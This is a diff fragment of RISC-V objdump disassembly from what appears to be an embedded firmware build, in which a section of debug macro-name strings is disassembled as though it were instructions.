-    754c:	2029                	jal	7556 <__stack_size+0x6d56>
-    754e:	3d21                	jal	7366 <__stack_size+0x6b66>
-    7550:	3020                	fld	fs0,96(s0)
-    7552:	2929                	jal	796c <__stack_size+0x716c>
-    7554:	5500                	lw	s0,40(a0)
-    7556:	4e49                	li	t3,18
-    7558:	3854                	fld	fa3,176(s0)
-    755a:	4d5f 5841 5f00      	0x5f0058414d5f
-    7560:	4350                	lw	a2,4(a4)
-    7562:	505f 4952 5f4f      	0x5f4f4952505f
-    7568:	4f49                	li	t5,18
-    756a:	3120                	fld	fs0,96(a0)
-    756c:	0030                	addi	a2,sp,8
-    756e:	5f5f 6164 6464      	0x646461645f5f
-    7574:	5f72                	lw	t5,60(sp)
-    7576:	5f74                	lw	a3,124(a4)
-    7578:	6564                	flw	fs1,76(a0)
-    757a:	6966                	flw	fs2,88(sp)
-    757c:	656e                	flw	fa0,216(sp)
-    757e:	2064                	fld	fs1,192(s0)
-    7580:	5f00                	lw	s0,56(a4)
-    7582:	4e5f4353          	0x4e5f4353
-    7586:	5250                	lw	a2,36(a2)
-    7588:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
-    758c:	53524f53          	0x53524f53
-    7590:	4f5f 4c4e 204e      	0x204e4c4e4f5f
-    7596:	3031                	jal	6da2 <__stack_size+0x65a2>
-    7598:	5f00                	lw	s0,56(a4)
-    759a:	495f 544e 3436      	0x3436544e495f
-    75a0:	435f 6328 2029      	0x20296328435f
-    75a6:	23232063          	0x23232063
-    75aa:	4c20                	lw	s0,88(s0)
-    75ac:	004c                	addi	a1,sp,4
-    75ae:	7269                	lui	tp,0xffffa
-    75b0:	5f71                	li	t5,-4
-    75b2:	6c637963          	bgeu	t1,t1,7c84 <__stack_size+0x7484>
-    75b6:	5f65                	li	t5,-7
-    75b8:	696d                	lui	s2,0x1b
-    75ba:	006e                	c.slli	zero,0x1b
-    75bc:	5441                	li	s0,-16
-    75be:	455f 4341 4543      	0x45434341455f
-    75c4:	31205353          	0x31205353
-    75c8:	5000                	lw	s0,32(s0)
-    75ca:	435f4d57          	0x435f4d57
-    75ce:	4746                	lw	a4,80(sp)
-    75d0:	445f 4745 494c      	0x494c4745445f
-    75d6:	4354                	lw	a3,4(a4)
-    75d8:	2048                	fld	fa0,128(s0)
-    75da:	7830                	flw	fa2,112(s0)
-    75dc:	3030                	fld	fa2,96(s0)
-    75de:	3030                	fld	fa2,96(s0)
-    75e0:	3430                	fld	fa2,104(s0)
-    75e2:	3030                	fld	fa2,96(s0)
-    75e4:	5000                	lw	s0,32(s0)
-    75e6:	435f4d57          	0x435f4d57
-    75ea:	504d                	c.li	zero,-13
-    75ec:	78302033          	0x78302033
-    75f0:	4332                	lw	t1,12(sp)
-    75f2:	5f00                	lw	s0,56(a4)
-    75f4:	4552                	lw	a0,20(sp)
-    75f6:	28343647          	fmsub.s	fa2,fs0,ft3,ft5,rup
-    75fa:	6162                	flw	ft2,24(sp)
-    75fc:	6f2c6573          	csrrsi	a0,0x6f2,24
-    7600:	6666                	flw	fa2,88(sp)
-    7602:	29746573          	csrrsi	a0,0x297,8
-    7606:	2820                	fld	fs0,80(s0)
-    7608:	282a                	fld	fa6,136(sp)
-    760a:	6f76                	flw	ft10,92(sp)
-    760c:	616c                	flw	fa1,68(a0)
-    760e:	6974                	flw	fa3,84(a0)
-    7610:	656c                	flw	fa1,76(a0)
-    7612:	7520                	flw	fs0,104(a0)
-    7614:	6e69                	lui	t3,0x1a
-    7616:	3674                	fld	fa3,232(a2)
-    7618:	5f34                	lw	a3,120(a4)
-    761a:	2074                	fld	fa3,192(s0)
-    761c:	292a                	fld	fs2,136(sp)
-    761e:	2828                	fld	fa0,80(s0)
-    7620:	6162                	flw	ft2,24(sp)
-    7622:	20296573          	csrrsi	a0,hedeleg,18
-    7626:	6f28202b          	0x6f28202b
-    762a:	6666                	flw	fa2,88(sp)
-    762c:	29746573          	csrrsi	a0,0x297,8
-    7630:	2929                	jal	7a4a <__stack_size+0x724a>
-    7632:	5f00                	lw	s0,56(a4)
-    7634:	5f535953          	0x5f535953
-    7638:	535f 4454 4e49      	0x4e494454535f
-    763e:	5f54                	lw	a3,60(a4)
-    7640:	2048                	fld	fa0,128(s0)
-    7642:	5f00                	lw	s0,56(a4)
-    7644:	585f 5453 4952      	0x49525453585f
-    764a:	474e                	lw	a4,208(sp)
-    764c:	7828                	flw	fa0,112(s0)
-    764e:	2029                	jal	7658 <__stack_size+0x6e58>
-    7650:	5f5f 5453 4952      	0x495254535f5f
-    7656:	474e                	lw	a4,208(sp)
-    7658:	7828                	flw	fa0,112(s0)
-    765a:	0029                	c.nop	10
-    765c:	5f5f 4353 5343      	0x534343535f5f
-    7662:	4449                	li	s0,18
-    7664:	7328                	flw	fa0,96(a4)
-    7666:	2029                	jal	7670 <__stack_size+0x6e70>
-    7668:	75727473          	csrrci	s0,0x757,4
-    766c:	5f207463          	bgeu	zero,s2,7c54 <__stack_size+0x7454>
-    7670:	685f 6361 006b      	0x6b6361685f
-    7676:	5f5f 4347 5f43      	0x5f4343475f5f
-    767c:	5441                	li	s0,-16
-    767e:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    7682:	425f 4f4f 5f4c      	0x5f4c4f4f425f
-    7688:	4f4c                	lw	a1,28(a4)
-    768a:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    768e:	4552                	lw	a0,20(sp)
-    7690:	2045                	jal	7730 <__stack_size+0x6f30>
-    7692:	0031                	c.nop	12
-    7694:	52495f53          	0x52495f53
-    7698:	4145                	li	sp,17
-    769a:	2044                	fld	fs1,128(s0)
-    769c:	3030                	fld	fa2,96(s0)
-    769e:	3030                	fld	fa2,96(s0)
-    76a0:	3034                	fld	fa3,96(s0)
-    76a2:	0030                	addi	a2,sp,8
-    76a4:	5f5f 4e49 5f54      	0x5f544e495f5f
-    76aa:	4146                	lw	sp,80(sp)
-    76ac:	32335453          	0x32335453
-    76b0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    76b6:	3020                	fld	fs0,96(s0)
-    76b8:	3778                	fld	fa4,232(a4)
-    76ba:	6666                	flw	fa2,88(sp)
-    76bc:	6666                	flw	fa2,88(sp)
-    76be:	6666                	flw	fa2,88(sp)
-    76c0:	0066                	c.slli	zero,0x19
-    76c2:	4c50                	lw	a2,28(s0)
-    76c4:	4349                	li	t1,18
-    76c6:	455f 5f4e 4853      	0x48535f4e455f
-    76cc:	4649                	li	a2,18
-    76ce:	5f54                	lw	a3,60(a4)
-    76d0:	4550                	lw	a2,12(a0)
-    76d2:	5f52                	lw	t5,52(sp)
-    76d4:	4154                	lw	a3,4(a0)
-    76d6:	4752                	lw	a4,20(sp)
-    76d8:	5445                	li	s0,-15
-    76da:	3120                	fld	fs0,96(a0)
-    76dc:	5f00                	lw	s0,56(a4)
-    76de:	465f 544c 4d5f      	0x4d5f544c465f
-    76e4:	5841                	li	a6,-16
-    76e6:	315f 5f30 5845      	0x58455f30315f
-    76ec:	5f50                	lw	a2,60(a4)
-    76ee:	205f 3833 4f00      	0x4f003833205f
-    76f4:	455f 4358 204c      	0x204c4358455f
-    76fa:	465f 5845 4c43      	0x4c435845465f
-    7700:	5f00                	lw	s0,56(a4)
-    7702:	4e49                	li	t3,18
-    7704:	3154                	fld	fa3,160(a0)
-    7706:	5f36                	lw	t5,108(sp)
-    7708:	5f54                	lw	a3,60(a4)
-    770a:	4544                	lw	s1,12(a0)
-    770c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    7710:	4445                	li	s0,17
-    7712:	0020                	addi	s0,sp,8
-    7714:	5a4d                	li	s4,-13
-    7716:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    771a:	4959                	li	s2,22
-    771c:	4c45                	li	s8,17
-    771e:	2844                	fld	fs1,144(s0)
-    7720:	2029                	jal	772a <__stack_size+0x6f2a>
-    7722:	7361                	lui	t1,0xffff8
-    7724:	206d                	jal	77ce <__stack_size+0x6fce>
-    7726:	6f76                	flw	ft10,92(sp)
-    7728:	616c                	flw	fa1,68(a0)
-    772a:	6974                	flw	fa3,84(a0)
-    772c:	656c                	flw	fa1,76(a0)
-    772e:	2820                	fld	fs0,80(s0)
-    7730:	6c22                	flw	fs8,8(sp)
-    7732:	2069                	jal	77bc <__stack_size+0x6fbc>
-    7734:	3061                	jal	6fbc <__stack_size+0x67bc>
-    7736:	202c                	fld	fa1,64(s0)
-    7738:	3b30                	fld	fa2,112(a4)
-    773a:	2022                	fld	ft0,8(sp)
-    773c:	7a6d                	lui	s4,0xffffb
-    773e:	20656e6f          	jal	t3,5d944 <__stack_size+0x5d144>
-    7742:	203a                	fld	ft0,392(sp)
-    7744:	203a                	fld	ft0,392(sp)
-    7746:	203a                	fld	ft0,392(sp)
-    7748:	6122                	flw	ft2,8(sp)
-    774a:	2230                	fld	fa2,64(a2)
-    774c:	3b29                	jal	7466 <__stack_size+0x6c66>
-    774e:	5700                	lw	s0,40(a4)
-    7750:	4e49                	li	t3,18
-    7752:	5f54                	lw	a3,60(a4)
-    7754:	494d                	li	s2,19
-    7756:	204e                	fld	ft0,208(sp)
-    7758:	5f5f 4957 544e      	0x544e49575f5f
-    775e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    7764:	5f00                	lw	s0,56(a4)
-    7766:	415f 5454 4952      	0x49525454415f
-    776c:	5542                	lw	a0,48(sp)
-    776e:	4554                	lw	a3,12(a0)
-    7770:	495f 504d 5255      	0x5255504d495f
-    7776:	5f45                	li	t5,-15
-    7778:	5450                	lw	a2,44(s0)
-    777a:	5f52                	lw	t5,52(sp)
-    777c:	205f 5f00 4955      	0x49555f00205f
-    7782:	544e                	lw	s0,240(sp)
-    7784:	414d                	li	sp,19
-    7786:	5f58                	lw	a4,60(a4)
-    7788:	5f54                	lw	a3,60(a4)
-    778a:	4544                	lw	s1,12(a0)
-    778c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    7790:	4445                	li	s0,17
-    7792:	0020                	addi	s0,sp,8
-    7794:	6572                	flw	fa0,28(sp)
-    7796:	6461                	lui	s0,0x18
-    7798:	696c                	flw	fa1,84(a0)
-    779a:	656e                	flw	fa0,216(sp)
-    779c:	5f00                	lw	s0,56(a4)
-    779e:	545f4353          	0x545f4353
-    77a2:	5248                	lw	a0,36(a2)
-    77a4:	4145                	li	sp,17
-    77a6:	5f44                	lw	s1,60(a4)
-    77a8:	5250                	lw	a2,36(a2)
-    77aa:	4f49                	li	t5,18
-    77ac:	435f 4945 494c      	0x494c4945435f
-    77b2:	474e                	lw	a4,208(sp)
-    77b4:	5f20                	lw	s0,120(a4)
-    77b6:	545f4353          	0x545f4353
-    77ba:	5248                	lw	a0,36(a2)
-    77bc:	4145                	li	sp,17
-    77be:	5f44                	lw	s1,60(a4)
-    77c0:	5250                	lw	a2,36(a2)
-    77c2:	4f49                	li	t5,18
-    77c4:	505f 4f52 4554      	0x45544f52505f
-    77ca:	50005443          	fmadd.s	fs0,ft0,ft0,fa0,unknown
-    77ce:	435f4d57          	0x435f4d57
-    77d2:	504d                	c.li	zero,-13
-    77d4:	2032                	fld	ft0,264(sp)
-    77d6:	7830                	flw	fa2,112(s0)
-    77d8:	3832                	fld	fa6,296(sp)
-    77da:	4300                	lw	s0,0(a4)
-    77dc:	4d5f5253          	0x4d5f5253
-    77e0:	5048                	lw	a0,36(s0)
-    77e2:	434d                	li	t1,19
-    77e4:	544e554f          	0x544e554f
-    77e8:	5245                	li	tp,-15
-    77ea:	3932                	fld	fs2,296(sp)
-    77ec:	3220                	fld	fs0,96(a2)
-    77ee:	0035                	c.nop	13
-    77f0:	525f 4545 544e      	0x544e4545525f
-    77f6:	435f 4548 4b43      	0x4b434548435f
-    77fc:	4d5f 5349 2843      	0x284353494d5f
-    7802:	7470                	flw	fa2,108(s0)
-    7804:	2972                	fld	fs2,280(sp)
-    7806:	0020                	addi	s0,sp,8
-    7808:	4d50                	lw	a2,28(a0)
-    780a:	5f50                	lw	a2,60(a4)
-    780c:	2058                	fld	fa4,128(s0)
-    780e:	3c31                	jal	722a <__stack_size+0x6a2a>
-    7810:	323c                	fld	fa5,96(a2)
-    7812:	5f00                	lw	s0,56(a4)
-    7814:	544e4157          	0x544e4157
-    7818:	495f 5f4f 4f4c      	0x4f4c5f4f495f
-    781e:	474e                	lw	a4,208(sp)
-    7820:	4c5f 4e4f 2047      	0x20474e4f4c5f
-    7826:	0031                	c.nop	12
-    7828:	5246                	lw	tp,112(sp)
-    782a:	4145                	li	sp,17
-    782c:	2044                	fld	fs1,128(s0)
-    782e:	465f 4552 4441      	0x44414552465f
-    7834:	5f00                	lw	s0,56(a4)
-    7836:	725f 7369 7663      	0x76637369725f
-    783c:	635f 6d6f 7270      	0x72706d6f635f
-    7842:	7365                	lui	t1,0xffff9
-    7844:	20646573          	csrrsi	a0,0x206,8
-    7848:	0031                	c.nop	12
-    784a:	535f 5f43 4f58      	0x4f585f43535f
-    7850:	4550                	lw	a2,12(a0)
-    7852:	5f4e                	lw	t5,240(sp)
-    7854:	4e55                	li	t3,21
-    7856:	5849                	li	a6,-14
-    7858:	3120                	fld	fs0,96(a0)
-    785a:	3530                	fld	fa2,104(a0)
-    785c:	5f00                	lw	s0,56(a4)
-    785e:	4146                	lw	sp,80(sp)
-    7860:	5050                	lw	a2,36(s0)
-    7862:	4e45                	li	t3,17
-    7864:	2044                	fld	fs1,128(s0)
-    7866:	7830                	flw	fa2,112(s0)
-    7868:	3030                	fld	fa2,96(s0)
-    786a:	3830                	fld	fa2,112(s0)
-    786c:	5f00                	lw	s0,56(a4)
-    786e:	465f 544c 3436      	0x3436544c465f
-    7874:	5f58                	lw	a4,60(a4)
-    7876:	4544                	lw	s1,12(a0)
-    7878:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    787c:	5f4c                	lw	a1,60(a4)
-    787e:	4944                	lw	s1,20(a0)
-    7880:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    7884:	5f003633          	0x5f003633
-    7888:	585f4353          	0x585f4353
-    788c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    7890:	525f 4145 544c      	0x544c4145525f
-    7896:	4d49                	li	s10,18
-    7898:	5f45                	li	t5,-15
-    789a:	4854                	lw	a3,20(s0)
-    789c:	4552                	lw	a0,20(sp)
-    789e:	4441                	li	s0,16
-    78a0:	30312053          	0x30312053
-    78a4:	0032                	c.slli	zero,0xc
-    78a6:	5f5f 4953 5f47      	0x5f4749535f5f
-    78ac:	5441                	li	s0,-16
-    78ae:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    78b2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    78b8:	3020                	fld	fs0,96(s0)
-    78ba:	3778                	fld	fa4,232(a4)
-    78bc:	6666                	flw	fa2,88(sp)
-    78be:	6666                	flw	fa2,88(sp)
-    78c0:	6666                	flw	fa2,88(sp)
-    78c2:	0066                	c.slli	zero,0x19
-    78c4:	4955                	li	s2,21
-    78c6:	544e                	lw	s0,240(sp)
-    78c8:	4c5f 4145 5453      	0x545341454c5f
-    78ce:	3631                	jal	73da <__stack_size+0x6bda>
-    78d0:	4d5f 5841 5f20      	0x5f2058414d5f
-    78d6:	555f 4e49 5f54      	0x5f544e49555f
-    78dc:	454c                	lw	a1,12(a0)
-    78de:	5341                	li	t1,-16
-    78e0:	3154                	fld	fa3,160(a0)
-    78e2:	5f36                	lw	t5,108(sp)
-    78e4:	414d                	li	sp,19
-    78e6:	5f58                	lw	a4,60(a4)
-    78e8:	005f 535f 5359      	0x5359535f005f
-    78ee:	535f 4c45 4345      	0x43454c45535f
-    78f4:	5f54                	lw	a3,60(a4)
-    78f6:	2048                	fld	fa0,128(s0)
-    78f8:	4200                	lw	s0,0(a2)
-    78fa:	54535f43          	0x54535f43
-    78fe:	4952                	lw	s2,20(sp)
-    7900:	474e                	lw	a4,208(sp)
-    7902:	4d5f 5841 3120      	0x312058414d5f
-    7908:	3030                	fld	fa2,96(s0)
-    790a:	0030                	addi	a2,sp,8
-    790c:	414e                	lw	sp,208(sp)
-    790e:	4f50                	lw	a2,28(a4)
-    7910:	2054                	fld	fa3,128(s0)
-    7912:	6230                	flw	fa2,64(a2)
-    7914:	3030                	fld	fa2,96(s0)
-    7916:	3130                	fld	fa2,96(a0)
-    7918:	3031                	jal	7124 <__stack_size+0x6924>
-    791a:	3030                	fld	fa2,96(s0)
-    791c:	5f00                	lw	s0,56(a4)
-    791e:	535f 4f45 2046      	0x20464f45535f
-    7924:	7830                	flw	fa2,112(s0)
-    7926:	3030                	fld	fa2,96(s0)
-    7928:	3032                	fld	ft0,296(sp)
-    792a:	5f00                	lw	s0,56(a4)
-    792c:	535f 5a49 4f45      	0x4f455a49535f
-    7932:	5f46                	lw	t5,112(sp)
-    7934:	4f44                	lw	s1,28(a4)
-    7936:	4255                	li	tp,21
-    7938:	454c                	lw	a1,12(a0)
-    793a:	5f5f 3820 5f00      	0x5f0038205f5f
-    7940:	555f 4e49 5f54      	0x5f544e49555f
-    7946:	4146                	lw	sp,80(sp)
-    7948:	32335453          	0x32335453
-    794c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7952:	3020                	fld	fs0,96(s0)
-    7954:	6678                	flw	fa4,76(a2)
-    7956:	6666                	flw	fa2,88(sp)
-    7958:	6666                	flw	fa2,88(sp)
-    795a:	6666                	flw	fa2,88(sp)
-    795c:	5566                	lw	a0,120(sp)
-    795e:	5f00                	lw	s0,56(a4)
-    7960:	625f 7773 7061      	0x70617773625f
-    7966:	5f283233          	0x5f283233
-    796a:	2978                	fld	fa4,208(a0)
-    796c:	5f20                	lw	s0,120(a4)
-    796e:	625f 6975 746c      	0x746c6975625f
-    7974:	6e69                	lui	t3,0x1a
-    7976:	625f 7773 7061      	0x70617773625f
-    797c:	5f283233          	0x5f283233
-    7980:	2978                	fld	fa4,208(a0)
-    7982:	4600                	lw	s0,8(a2)
-    7984:	5845                	li	a6,-15
-    7986:	4f4c                	lw	a1,28(a4)
-    7988:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
-    798c:	4546                	lw	a0,80(sp)
-    798e:	4c58                	lw	a4,28(s0)
-    7990:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    7994:	535f 5f43 4552      	0x45525f43535f
-    799a:	50584547          	fmsub.s	fa0,fa6,ft5,fa0,rmm
-    799e:	3720                	fld	fs0,104(a4)
-    79a0:	0032                	c.slli	zero,0xc
-    79a2:	535f 5f43 3756      	0x37565f43535f
-    79a8:	495f 504c 3233      	0x3233504c495f
-    79ae:	4f5f 4646 3233      	0x323346464f5f
-    79b4:	3920                	fld	fs0,112(a0)
-    79b6:	0032                	c.slli	zero,0xc
-    79b8:	505f 5f43 4552      	0x45525f43505f
-    79be:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    79c2:	5f4e                	lw	t5,240(sp)
-    79c4:	4658                	lw	a4,12(a2)
-    79c6:	5245                	li	tp,-15
-    79c8:	535f 5a49 2045      	0x20455a49535f
-    79ce:	3831                	jal	71ea <__stack_size+0x69ea>
-    79d0:	5f00                	lw	s0,56(a4)
-    79d2:	4e49                	li	t3,18
-    79d4:	415f 4444 5f52      	0x5f524444415f
-    79da:	5f54                	lw	a3,60(a4)
-    79dc:	4544                	lw	s1,12(a0)
-    79de:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    79e2:	4445                	li	s0,17
-    79e4:	0020                	addi	s0,sp,8
-    79e6:	5750                	lw	a2,44(a4)
-    79e8:	5f4d                	li	t5,-13
-    79ea:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
-    79ee:	3020                	fld	fs0,96(s0)
-    79f0:	3278                	fld	fa4,224(a2)
-    79f2:	0034                	addi	a3,sp,8
-    79f4:	5f5f 4c46 3354      	0x33544c465f5f
-    79fa:	5f32                	lw	t5,44(sp)
-    79fc:	494d                	li	s2,19
-    79fe:	5f4e                	lw	t5,240(sp)
-    7a00:	205f 2e31 3731      	0x37312e31205f
-    7a06:	3435                	jal	7432 <__stack_size+0x6c32>
-    7a08:	3439                	jal	7416 <__stack_size+0x6c16>
-    7a0a:	38303533          	0x38303533
-    7a0e:	3232                	fld	ft4,296(sp)
-    7a10:	3832                	fld	fa6,296(sp)
-    7a12:	37303537          	lui	a0,0x37303
-    7a16:	3639                	jal	7524 <__stack_size+0x6d24>
-    7a18:	3738                	fld	fa4,104(a4)
-    7a1a:	33353633          	0x33353633
-    7a1e:	32323237          	lui	tp,0x32323
-    7a22:	3432                	fld	fs0,296(sp)
-    7a24:	3635                	jal	7550 <__stack_size+0x6d50>
-    7a26:	6538                	flw	fa4,72(a0)
-    7a28:	332d                	jal	7752 <__stack_size+0x6f52>
-    7a2a:	4638                	lw	a4,72(a2)
-    7a2c:	5f003233          	0x5f003233
-    7a30:	4e5f4353          	0x4e5f4353
-    7a34:	5250                	lw	a2,36(a2)
-    7a36:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
-    7a3a:	53524f53          	0x53524f53
-    7a3e:	435f 4e4f 2046      	0x20464e4f435f
-    7a44:	0039                	c.nop	14
-    7a46:	5f4b4c43          	fmadd.q	fs8,fs6,fs4,fa1,rmm
-    7a4a:	4354                	lw	a3,4(a4)
-    7a4c:	4c43204b          	0x4c43204b
-    7a50:	534b434f          	fnmadd.d	ft6,fs6,fs4,fa0,rmm
-    7a54:	505f 5245 535f      	0x535f5245505f
-    7a5a:	4345                	li	t1,17
-    7a5c:	5f00                	lw	s0,56(a4)
-    7a5e:	475f 554e 565f      	0x565f554e475f
-    7a64:	5349                	li	t1,-14
-    7a66:	4249                	li	tp,18
-    7a68:	454c                	lw	a1,12(a0)
-    7a6a:	3020                	fld	fs0,96(s0)
+    740c:	0078                	addi	a4,sp,12
+    740e:	5f5f 4c46 3154      	0x31544c465f5f
+    7414:	3832                	fld	fa6,296(sp)
+    7416:	4d5f 5841 455f      	0x455f58414d5f
+    741c:	5058                	lw	a4,36(s0)
+    741e:	5f5f 3120 3336      	0x333631205f5f
+    7424:	3438                	fld	fa4,104(s0)
+    7426:	5f00                	lw	s0,56(a4)
+    7428:	685f 6f74 736e      	0x736e6f74685f
+    742e:	5f28                	lw	a0,120(a4)
+    7430:	2978                	fld	fa4,208(a0)
+    7432:	5f20                	lw	s0,120(a4)
+    7434:	625f 7773 7061      	0x70617773625f
+    743a:	3631                	jal	6f46 <__stack_size+0x6746>
+    743c:	5f28                	lw	a0,120(a4)
+    743e:	2978                	fld	fa4,208(a0)
+    7440:	5f00                	lw	s0,56(a4)
+    7442:	445f4353          	0x445f4353
+    7446:	4c45                	li	s8,17
+    7448:	5941                	li	s2,-16
+    744a:	4954                	lw	a3,20(a0)
+    744c:	454d                	li	a0,19
+    744e:	5f52                	lw	t5,52(sp)
+    7450:	414d                	li	sp,19
+    7452:	2058                	fld	fa4,128(s0)
+    7454:	5f003733          	0x5f003733
+    7458:	5f535953          	0x5f535953
+    745c:	445f 4645 5541      	0x55414645445f
+    7462:	544c                	lw	a1,44(s0)
+    7464:	465f 4e43 4c54      	0x4c544e43465f
+    746a:	485f 205f 5f00      	0x5f00205f485f
+    7470:	465f 544c 3231      	0x3231544c465f
+    7476:	5f38                	lw	a4,120(a4)
+    7478:	4544                	lw	s1,12(a0)
+    747a:	4f4e                	lw	t5,208(sp)
+    747c:	4d52                	lw	s10,20(sp)
+    747e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7484:	3620                	fld	fs0,104(a2)
+    7486:	342e                	fld	fs0,232(sp)
+    7488:	37313537          	lui	a0,0x37313
+    748c:	3135                	jal	70b8 <__stack_size+0x68b8>
+    748e:	3931                	jal	70aa <__stack_size+0x68aa>
+    7490:	3334                	fld	fa3,96(a4)
+    7492:	3038                	fld	fa4,96(s0)
+    7494:	3532                	fld	fa0,296(sp)
+    7496:	3131                	jal	70a2 <__stack_size+0x68a2>
+    7498:	3930                	fld	fa2,112(a0)
+    749a:	3432                	fld	fs0,296(sp)
+    749c:	3334                	fld	fa3,96(a4)
+    749e:	3938                	fld	fa4,112(a0)
+    74a0:	3835                	jal	6cdc <__stack_size+0x64dc>
+    74a2:	3232                	fld	ft4,296(sp)
+    74a4:	36343637          	lui	a2,0x36343
+    74a8:	3535                	jal	72d4 <__stack_size+0x6ad4>
+    74aa:	2d65                	jal	7b62 <__stack_size+0x7362>
+    74ac:	3934                	fld	fa3,112(a0)
+    74ae:	3636                	fld	fa2,360(sp)
+    74b0:	3146                	fld	ft2,112(sp)
+    74b2:	3832                	fld	fa6,296(sp)
+    74b4:	4300                	lw	s0,0(a4)
+    74b6:	4d5f5253          	0x4d5f5253
+    74ba:	5048                	lw	a0,36(s0)
+    74bc:	434d                	li	t1,19
+    74be:	544e554f          	0x544e554f
+    74c2:	5245                	li	tp,-15
+    74c4:	32203033          	0x32203033
+    74c8:	0036                	c.slli	zero,0xd
+    74ca:	5f5f 4946 494e      	0x494e49465f5f
+    74d0:	4554                	lw	a3,12(a0)
+    74d2:	4d5f 5441 5f48      	0x5f4854414d5f
+    74d8:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
+    74dc:	5f5f 3020 5f00      	0x5f0030205f5f
+    74e2:	5441                	li	s0,-16
+    74e4:	5845                	li	a6,-15
+    74e6:	5449                	li	s0,-14
+    74e8:	495f 494e 2054      	0x2054494e495f
+    74ee:	554e5f7b          	0x554e5f7b
+    74f2:	4c4c                	lw	a1,28(s0)
+    74f4:	202c                	fld	fa1,64(s0)
+    74f6:	2c30                	fld	fa2,88(s0)
+    74f8:	7b20                	flw	fs0,112(a4)
+    74fa:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
+    7500:	202c                	fld	fa1,64(s0)
+    7502:	4e5f7b7b          	0x4e5f7b7b
+    7506:	4c55                	li	s8,21
+    7508:	7d4c                	flw	fa1,60(a0)
+    750a:	202c                	fld	fa1,64(s0)
+    750c:	554e5f7b          	0x554e5f7b
+    7510:	4c4c                	lw	a1,28(s0)
+    7512:	2c7d                	jal	77d0 <__stack_size+0x6fd0>
+    7514:	3020                	fld	fs0,96(s0)
+    7516:	202c                	fld	fa1,64(s0)
+    7518:	7d30                	flw	fa2,120(a0)
+    751a:	007d                	c.nop	31
+    751c:	4955                	li	s2,21
+    751e:	544e                	lw	s0,240(sp)
+    7520:	5f38                	lw	a4,120(a4)
+    7522:	414d                	li	sp,19
+    7524:	2058                	fld	fa4,128(s0)
+    7526:	5f5f 4955 544e      	0x544e49555f5f
+    752c:	5f38                	lw	a4,120(a4)
+    752e:	414d                	li	sp,19
+    7530:	5f58                	lw	a4,60(a4)
+    7532:	005f 5f5f 5353      	0x53535f5f005f
+    7538:	5254                	lw	a3,36(a2)
+    753a:	3020                	fld	fs0,96(s0)
+    753c:	3078                	fld	fa4,224(s0)
+    753e:	3032                	fld	ft0,296(sp)
+    7540:	0030                	addi	a2,sp,8
+    7542:	535f 5f43 454c      	0x454c5f43535f
+    7548:	4556                	lw	a0,84(sp)
+    754a:	344c                	fld	fa1,168(s0)
+    754c:	435f 4341 4548      	0x45484341435f
+    7552:	4c5f 4e49 5345      	0x53454e494c5f
+    7558:	5a49                	li	s4,-14
+    755a:	2045                	jal	75fa <__stack_size+0x6dfa>
+    755c:	3331                	jal	7268 <__stack_size+0x6a68>
+    755e:	0039                	c.nop	14
+    7560:	535f 5f43 3756      	0x37565f43535f
+    7566:	4c5f 3650 5f34      	0x5f3436504c5f
+    756c:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7570:	2034                	fld	fa3,64(s0)
+    7572:	3439                	jal	6f80 <__stack_size+0x6780>
+    7574:	5300                	lw	s0,32(a4)
+    7576:	495f 4d46 2054      	0x20544d46495f
+    757c:	495f 4d46 0054      	0x544d46495f
+    7582:	5f5f 5453 4344      	0x434454535f5f
+    7588:	565f 5245 4953      	0x49535245565f
+    758e:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    7592:	3220                	fld	fs0,96(a2)
+    7594:	3130                	fld	fa2,96(a0)
+    7596:	4c303137          	lui	sp,0x4c303
+    759a:	5f00                	lw	s0,56(a4)
+    759c:	425f4353          	0x425f4353
+    75a0:	54535f43          	0x54535f43
+    75a4:	4952                	lw	s2,20(sp)
+    75a6:	474e                	lw	a4,208(sp)
+    75a8:	4d5f 5841 3620      	0x362058414d5f
+    75ae:	0030                	addi	a2,sp,8
+    75b0:	505f 5f43 414d      	0x414d5f43505f
+    75b6:	5f58                	lw	a4,60(a4)
+    75b8:	4e49                	li	t3,18
+    75ba:	5550                	lw	a2,44(a0)
+    75bc:	2054                	fld	fa3,128(s0)
+    75be:	0032                	c.slli	zero,0xc
+    75c0:	5f5f 6673 6f65      	0x6f6566735f5f
+    75c6:	2866                	fld	fa6,88(sp)
+    75c8:	2970                	fld	fa2,208(a0)
+    75ca:	2820                	fld	fs0,80(s0)
+    75cc:	6928                	flw	fa0,80(a0)
+    75ce:	746e                	flw	fs0,248(sp)
+    75d0:	2829                	jal	75ea <__stack_size+0x6dea>
+    75d2:	2828                	fld	fa0,80(s0)
+    75d4:	2970                	fld	fa2,208(a0)
+    75d6:	3e2d                	jal	7110 <__stack_size+0x6910>
+    75d8:	665f 616c 7367      	0x7367616c665f
+    75de:	2620                	fld	fs0,72(a2)
+    75e0:	5f20                	lw	s0,120(a4)
+    75e2:	535f 4f45 2946      	0x29464f45535f
+    75e8:	2120                	fld	fs0,64(a0)
+    75ea:	203d                	jal	7618 <__stack_size+0x6e18>
